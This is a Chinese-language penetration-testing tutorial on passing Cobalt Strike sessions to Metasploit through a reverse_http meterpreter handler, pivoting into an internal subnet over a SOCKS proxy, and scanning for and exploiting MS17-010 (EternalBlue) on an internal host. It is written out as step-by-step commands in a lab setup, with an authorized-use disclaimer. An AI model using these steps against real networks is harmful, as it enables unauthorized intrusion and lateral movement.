CS与MSF基础联动：会话转移和隧道搭建技术指南

1. 联动背景与原理

为什么需要CS与MSF联动？

• Cobalt Strike (CS)的payload种类相对有限
• Metasploit Framework (MSF)拥有更丰富的漏洞利用模块和payload
• 通过联动可以结合两者的优势，扩展渗透测试能力

联动核心需求：

1. 会话转移：将CS获取的会话转移到MSF中
2. 隧道搭建：使MSF能够访问目标内网资源

2. 环境准备

假设环境配置：

• Kali Linux (MSF所在主机): 192.168.41.155
• 已攻陷的Web服务器:
  • 外网IP: 192.168.41.139
  • 内网IP: 192.168.52.143
• 内网目标主机(Windows Server 2003): 192.168.52.141

3. 会话转移操作步骤

3.1 MSF端设置监听

1. 在Kali中启动MSF控制台：

   msfconsole
   

2. 配置监听模块：

   use exploit/multi/handler
   set payload windows/meterpreter/reverse_http
   set lhost 192.168.41.155  # MSF所在主机的IP
   set lport 9999            # 未被占用的端口
   run
   

3.2 CS端配置

1. 在Cobalt Strike中创建新的监听器：

   • 类型选择"Foreign HTTP"
   • 填写MSF的IP和端口(192.168.41.155:9999)

2. 转移会话：

   • 右键已上线的会话
   • 选择"Spawn"选项
   • 选择刚创建的监听器

3.3 验证会话转移

• 观察MSF控制台，等待接收会话
• 可能需要等待一段时间才能看到会话建立

4. 隧道搭建技术

4.1 网络拓扑分析

• Kali和CS服务端处于192.168.41.0/24网段
• 已攻陷的Web服务器有双网卡：
  • 192.168.41.139 (与Kali同网段)
  • 192.168.52.143 (内网网段)
• 目标内网主机192.168.52.141无法被Kali直接访问

4.2 使用CS搭建SOCKS隧道

1. 在CS中创建SOCKS代理：

   • 右键已上线的会话
   • 选择"SOCKS Server"
   • 指定一个未被占用的端口(如36888)

2. 验证SOCKS服务：

   • 在CS的"Tunnel"标签页查看
   • 注意SOCKS服务器的IP可能是CS服务端IP或会话主机IP

4.3 MSF配置使用SOCKS代理

1. 在MSF中设置全局代理：

   background      # 如果当前有活跃会话，先放到后台
   setg Proxies socks4:192.168.41.155:36888
   

2. 验证代理设置：

   • 此设置将使MSF的所有TCP和UDP流量通过SOCKS代理
   • 注意：ICMP协议(如ping)不会通过SOCKS代理

5. 实战应用：内网漏洞扫描

5.1 搜索漏洞模块

search ms17_010

5.2 配置并执行扫描

1. 选择扫描模块：

   use auxiliary/scanner/smb/smb_ms17_010
   

2. 设置目标：

   set rhosts 192.168.52.141
   

3. 执行扫描：

   run
   

5.3 漏洞利用

1. 选择利用模块：

   use exploit/windows/smb/ms17_010_eternalblue
   

2. 设置必要参数后执行攻击

6. 常见问题与注意事项

1. SOCKS代理不工作问题：

   • 确认SOCKS服务器IP是否正确(可能是CS服务端IP或会话主机IP)
   • 验证端口是否开放且未被防火墙拦截

2. 协议限制：

   • SOCKS代理仅转发TCP/UDP流量
   • ICMP协议(ping)无法通过SOCKS代理测试连通性

3. 性能考虑：

   • 通过代理的流量速度可能较慢
   • 复杂模块可能需要更长时间执行

4. 安全注意事项：

   • 本文所述技术仅限合法授权测试使用
   • 未经授权的渗透测试可能触犯法律

5. 会话稳定性：

   • 转移的会话可能不如原生会话稳定
   • 重要操作建议先在CS中测试

通过以上步骤，您可以有效地将Cobalt Strike与Metasploit Framework结合使用，扩展渗透测试能力，特别是在内网穿透和跨网段攻击场景中。